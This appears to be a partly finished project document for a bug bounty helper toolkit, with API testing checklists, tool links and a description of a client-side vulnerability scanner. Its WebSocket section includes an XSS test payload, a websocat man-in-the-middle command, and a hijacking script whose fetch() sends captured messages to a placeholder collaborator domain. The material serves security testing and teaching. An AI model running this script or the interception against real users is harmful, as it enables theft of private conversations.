BB assist project

23 September 2023

Table of Contents

[Introduction 3](#_Toc166500827)

[BBAP version 1 4](#_Toc166500828)

[BBA\_APITesting 4](#_Toc166500829)

[BBA\_app 5](#_Toc166500830)

[BBA\_authentication 5](#_Toc166500831)

[BBA\_authorization 5](#_Toc166500832)

[BBA\_businessL 5](#_Toc166500833)

[BBA\_Client\_side 5](#_Toc166500834)

[BBA\_configuration 5](#_Toc166500835)

[BBA\_ErrorH 5](#_Toc166500836)

[BBA\_identify 6](#_Toc166500837)

[BBA\_inputV 6](#_Toc166500838)

[BBA\_Report 6](#_Toc166500839)

[BBA\_session 6](#_Toc166500840)

[BBA\_Test 6](#_Toc166500841)

[BBA\_Weak 7](#_Toc166500842)

[2.Define docker image costume 7](#_Toc166500843)

[3.Define checklist 8](#_Toc166500844)

[4.ReconBBassist.py 8](#_Toc166500845)

# **Introduction**

**The Bug Bounty Assistance Program**

The Bug Bounty Assistance Program (BBAP) aims to empower security hunters by providing them with the knowledge, resources, and support they need to excel in the field of ethical hacking. By offering educational materials, mentorship, tools, and a collaborative community, the BBAP seeks to lower barriers to entry and foster the growth of a vibrant bug bounty community. Through its efforts, the BBAP ultimately contributes to the collective goal of making digital systems more secure, protecting both organizations and individuals from cyber threats. In an era where cybersecurity is paramount, initiatives like the BBAP are crucial in building a safer digital world.

The Bug Bounty Assistance Program (BBAP) aims to address these challenges and create an environment conducive to both seasoned security hunters and newcomers alike. It operates on several fundamental principles:

1. **Education and Training**: The BBAP will offer comprehensive educational resources and training modules. These resources will cover various aspects of bug hunting, including web application security, network security, and mobile application security. Educational materials will be available in various formats, such as written guides, video tutorials, and interactive courses.
2. **Mentorship and Support**: To help newcomers navigate the complexities of bug bounty programs, the BBAP will establish a mentorship system. Experienced security researchers will volunteer their time to guide and assist newcomers, providing valuable insights and advice.
3. **Resource Repository**: A centralized repository of tools, scripts, and resources will be maintained. Security hunters can access this repository to streamline their testing processes, making their bug hunting more efficient and productive.
4. **Platform Integration**: The BBAP will collaborate with major bug bounty platforms (e.g., HackerOne, Bugcrowd) to facilitate seamless integration. Researchers can access program details, submit reports, and receive feedback directly from within the BBAP platform.
5. **Community Forums**: The BBAP will host community forums where security hunters can collaborate, share knowledge, and discuss their experiences. These forums will serve as a hub for networking and building a sense of camaraderie among bug bounty enthusiasts.
6. **Recognition and Rewards**: To incentivize and acknowledge the contributions of security hunters, the BBAP will maintain a leaderboard and recognize top performers. Furthermore, the program will periodically host bug bounty challenges and competitions with attractive prizes.

Instructure of Prog:

Review:

* Check for vulnerability
* Test and exploit vulnerability
* report for vulnerability
* web
* pdf
* telegram Bot
* ML

# BBAP version 1

* BBA\_APITesting
* BBA\_app
* BBA\_authentication
* BBA\_authorization
* BBA\_businessL
* BBA\_Client\_side
* BBA\_configuration
* BBA\_ErrorH
* BBA\_identify
* BBA\_inputV
* BBA\_Report
* BBA\_session
* BBA\_TeleBot
* BBA\_Test
* BBA\_Weak\_Cry
* BBE\_WSTGinfo
* BBA
* infoTools
* learning\_and\_sites
* table.pdf
* tools
* vulnerable.py
* index.html

## BBA\_APITesting

**REST APIs**

|  |
| --- |
| Test for common vulnerabilities such as Injection, Broken Authentication, Sensitive Data Exposure, XML External Entities (XXE), Broken Access Control, Security Misconfiguration, Cross-Site Scripting (XSS), Insecure Deserialization, and Using Components with Known Vulnerabilities. |
| Check for versioning and test against multiple API versions. |
| Test for weak authentication and authorization mechanisms. |
| Test for weak or missing SSL/TLS encryption. |
| Test for input validation errors and ensure that the API handles unexpected input gracefully. |
| Test for rate limiting and ensure that the API can handle high volumes of traffic. |
| Test for injection vulnerabilities such as SQL injection, Command Injection, and LDAP injection. |
| Test for XML External Entities (XXE) vulnerabilities in XML-based APIs. |
| Test for Cross-Site Scripting (XSS) vulnerabilities in input fields and response data. |
| Test for Insecure Direct Object References (IDOR) vulnerabilities in API endpoints. |
| Test for broken access control vulnerabilities in API endpoints. |
| Test for CORS misconfigurations and ensure that the API is not vulnerable to Cross-Site Request Forgery (CSRF) attacks. |

**SOAP APIs:**

|  |
| --- |
| Test for common vulnerabilities such as Injection, Broken Authentication, Sensitive Data Exposure, XML External Entities (XXE), Broken Access Control, Security Misconfiguration, Cross-Site Scripting (XSS), Insecure Deserialization, and Using Components with Known Vulnerabilities. |
| Test for versioning and test against multiple API versions. |
| Test for weak authentication and authorization mechanisms. |
| Test for weak or missing SSL/TLS encryption. |
| Test for input validation errors and ensure that the API handles unexpected input gracefully. |
| Test for rate limiting and ensure that the API can handle high volumes of traffic. |
| Test for injection vulnerabilities such as SQL injection, Command Injection, and LDAP injection. |
| Test for XML External Entities (XXE) vulnerabilities in XML-based APIs. |
| Test for Cross-Site Scripting (XSS) vulnerabilities in input fields and response data. |
| Test for Insecure Direct Object References (IDOR) vulnerabilities in API endpoints. |
| Test for broken access control vulnerabilities in API endpoints. |
| Test for CORS misconfigurations and ensure that the API is not vulnerable to Cross-Site Request Forgery (CSRF) attacks. |
| Test for WSDL parsing errors and ensure that the API handles unexpected WSDL input gracefully. |

**GraphQL APIS:**

|  |
| --- |
| Test for common vulnerabilities such as Injection, Broken Authentication, Sensitive Data Exposure, XML External Entities (XXE), Broken Access Control, Security Misconfiguration, Cross-Site Scripting (XSS), Insecure Deserialization, and Using Components with Known Vulnerabilities. |
| Test for versioning and test against multiple API versions. |
| Test for weak authentication and authorization mechanisms. |
| Test for weak or missing SSL/TLS encryption. |
| Test for input validation errors and ensure that the API handles unexpected input gracefully. |
| Test for rate limiting and ensure that the API can handle high volumes of traffic. |
| Test for injection vulnerabilities such as SQL injection, Command Injection, and LDAP injection. |
| Test for GraphQL query language injection vulnerabilities. |
| Test for Cross-Site Scripting (XSS) vulnerabilities in input fields and response data. |
| Test for Insecure Direct Object References (IDOR) vulnerabilities in API endpoints. |
| Test for broken access control vulnerabilities in API endpoints. |
| Test for CORS misconfigurations and ensure that the API is not vulnerable to Cross-Site Request Forgery (CSRF) attacks. |
| Test for GraphQL schema introspection vulnerabilities. |

**Tools and Resources for API Pentesting:**

* [kiterunner](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs.
* [automatic-api-attack-tool](https://github.com/hdiv/automatic-api-attack-tool): A tool for automatically testing APIs for common vulnerabilities.
* [Astra](https://github.com/0xsauby/Astra): A tool for testing GraphQL APIs for common vulnerabilities.

## BBA\_app

BBA\_app related to web application version of BBA project and use flask.

It has two parts:

* BBA\_app
* index.html

for run:

python3 BBA\_app.py

<http://127.0.0.1:5000>

## BBA\_authentication

## BBA\_authorization

## BBA\_businessL

## BBA\_Client\_side

This script is a powerful asset for security professionals and developers aiming to enhance the security posture of their web applications by systematically testing for a wide range of potential vulnerabilities.

The script is built around Python libraries such as `requests`, `BeautifulSoup`, `concurrent.futures`, and `selenium`, which are chosen for their ability to handle HTTP requests, parse HTML content, manage asynchronous tasks efficiently, and automate browser interactions, respectively. These tools enable the script to perform a series of checks against a target URL, focusing on various types of vulnerabilities:

* DOM-Based Cross-Site Scripting (XSS): Tests for vulnerabilities where an attacker can inject malicious scripts into web pages viewed by other users through the Document Object Model (DOM).
* JavaScript Execution: Assesses whether the target URL allows the execution of arbitrary JavaScript code, a critical factor in preventing XSS attacks.
* HTML Injection: Identifies vulnerabilities that allow attackers to inject HTML tags into web pages, potentially leading to XSS attacks.
* Client-side URL Redirect: Checks for vulnerabilities that could lead to phishing or other malicious activities through client-side URL redirection.
* CSS Injection: Detects vulnerabilities that allow attackers to inject CSS code into web pages, potentially leading to visual attacks or information disclosure.
* Client-side Resource Manipulation: Identifies potential injection points in the HTML content where resources could be manipulated, posing a security risk.
* Cross-Origin Resource Sharing (CORS): Evaluates the CORS policy of the target website, which can affect the security of web applications by allowing or blocking requests from different origins.
* Cross-Site Flashing: Tests for vulnerabilities in Flash applications that could be exploited for Cross-Site Flashing attacks, involving the display of malicious content to users through a Flash application.
* Clickjacking: Determines if the target URL is vulnerable to Clickjacking attacks, where an attacker tricks a user into clicking on something different from what the user perceives.
* WebSockets: Checks if the target URL uses WebSockets, a protocol that provides full-duplex communication channels over a single TCP connection, and provides a basic example of how to interact with a WebSocket server.
* Web Messaging: Sends a message to the target URL and checks for security risks in the response, such as unintended data leakage or execution of malicious code.
* Browser Storage: Uses Selenium to interact with the target URL and lists various types of browser storage (Local Storage, Session Storage, IndexedDB, Web SQL, and Cookies), looking for potential security issues.
* Cross-Site Script Inclusion: Checks if the target URL includes scripts from external sources, which could lead to XSS vulnerabilities.

The script also features a menu-driven interface, allowing users to select which type of vulnerability test they wish to perform on the target URL. This user-friendly approach makes the script accessible to a wide audience, from security professionals to developers, enabling them to conduct comprehensive security checks on web applications effectively.

Websocket:

some common WebSocket vulnerabilities and how they can be exploited:

1. **Manipulating WebSocket Messages Due to Lack of Input-Validation**: This occurs when an attacker can alter WebSocket communications and the server does not correctly validate and sanitize the input. An attacker can send specifically designed payloads as a message by using a proxy tool like BurpSuite. Here is an example of how to test for this vulnerability using Python:

import websocket,json

ws = websocket.WebSocket()

ws.connect("ws://10.0.0.1/")

d = {"message": "<script>alert(1)</script>"}

data = str(json.dumps(d))

ws.send(data)

result = ws.recv()

print(json.loads(result))

1. **Authentication and Authorization Risks**: There is no native authentication method for the WebSocket protocol. Also, there is no system for handling authorizations. If for example, the websocket server sends back the history of the conversation of a user if a msg with "READY" is sent, then a simple XSS establishing the connection sending "READY" will be able to retrieve the history of the conversation. Here is an example of how to test for this vulnerability using JavaScript:

<script>

websocket = new WebSocket('wss://your-websocket-URL')

websocket.onopen = start

websocket.onmessage = handleReply

function start(event) {

websocket.send("READY"); //Send the message to retreive confidential information

}

function handleReply(event) {

//Exfiltrate the confidential information to attackers server

fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})

}

</script>

1. **Cross Origin + Cookie with a different subdomain**: WebSocket connections are usually initiated via client-side JavaScript. During the connection establishment, a handshake is performed between the browser and server over HTTP. If the WebSocket server does not properly validate the **Origin** header, an attacker can connect to the WebSocket server from a different domain. Here is an example of how to test for this vulnerability using Python:

import websocket

ws = websocket.WebSocket()

ws.connect("ws://10.0.0.1/")

ws.send("Hello, World!")

result = ws.recv()

print(result)

1. **MitM websocket connections**: If you find that clients are connected to a HTTP websocket from your current local network, you could try an ARP Spoofing Attack to perform a MitM attack between the client and the server. Once the client is trying to connect to you can then use **websocat** to connect to the WebSocket server. Here is an example of how to test for this vulnerability using **websocat**:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

1. **Websockets enumeration**: You can use the tool [STEWS](https://github.com/PalindromeLabs/STEWS) to discover, fingerprint and search for known vulnerabilities in websockets automatically.
2. **Websocket Debug tools**: Burp Suite supports MitM websockets communication in a very similar way it does it for regular HTTP communication.

## BBA\_configuration

## BBA\_ErrorH

## BBA\_identify

## BBA\_inputV

## BBA\_Report

## BBA\_session

BBA\_TeleBot

Here are the steps to get your token:

1. Open the Telegram app and search for the "BotFather" bot.
2. Start a chat with the BotFather.
3. Send the command **/newbot** to create a new bot.
4. Follow the instructions to set a name and username for your bot.
5. Once the bot is created, the BotFather will send you the bot token. This token is required to authorize your bot.

BBa\_EL\_bot

## BBA\_Test

## BBA\_Weak\_Cry

## BBA\_WSTGinfo

## 2.Define docker image costume

Based on the sources provided, you can use the docker-py library (also known as docker in Python) to interact with Docker and run a Docker image from your Python script [stackoverflow.com](https://stackoverflow.com/questions/47433576/starting-docker-container-using-python-script).

First, you need to install the docker Python library. You can do this using pip:

pip install docker

Then, you can modify the Recon function in the script to run a Docker image. Here's an example of how you might do this:

import docker

def Recon():

print("Recon process started...")

client = docker.from\_env()

# Replace 'my\_image' with the name of your Docker image

client.containers.run('my\_image', detach=True)

print("Docker container started.")

In this example, docker.from\_env() creates a DockerClient instance configured with appropriate environment variables [stackoverflow.com](https://stackoverflow.com/questions/47433576/starting-docker-container-using-python-script). The run method of DockerClient.containers runs a Docker container with the specified image. The detach=True argument means the container will run in the background [stackoverflow.com](https://stackoverflow.com/questions/47433576/starting-docker-container-using-python-script).

Please replace 'my\_image' with the name of your Docker image. If your Docker image requires any command line arguments, you can provide them as additional arguments to the run method.

Remember, this is a very basic example. In a real-world application, you would need to handle errors and edge cases. For example, you might need to check if the Docker image exists and handle the case where the Docker container fails to start. You would also need to ensure that your Python script has the necessary permissions to interact with Docker.

## 3.Define checklist

## 4.ReconBBassist.py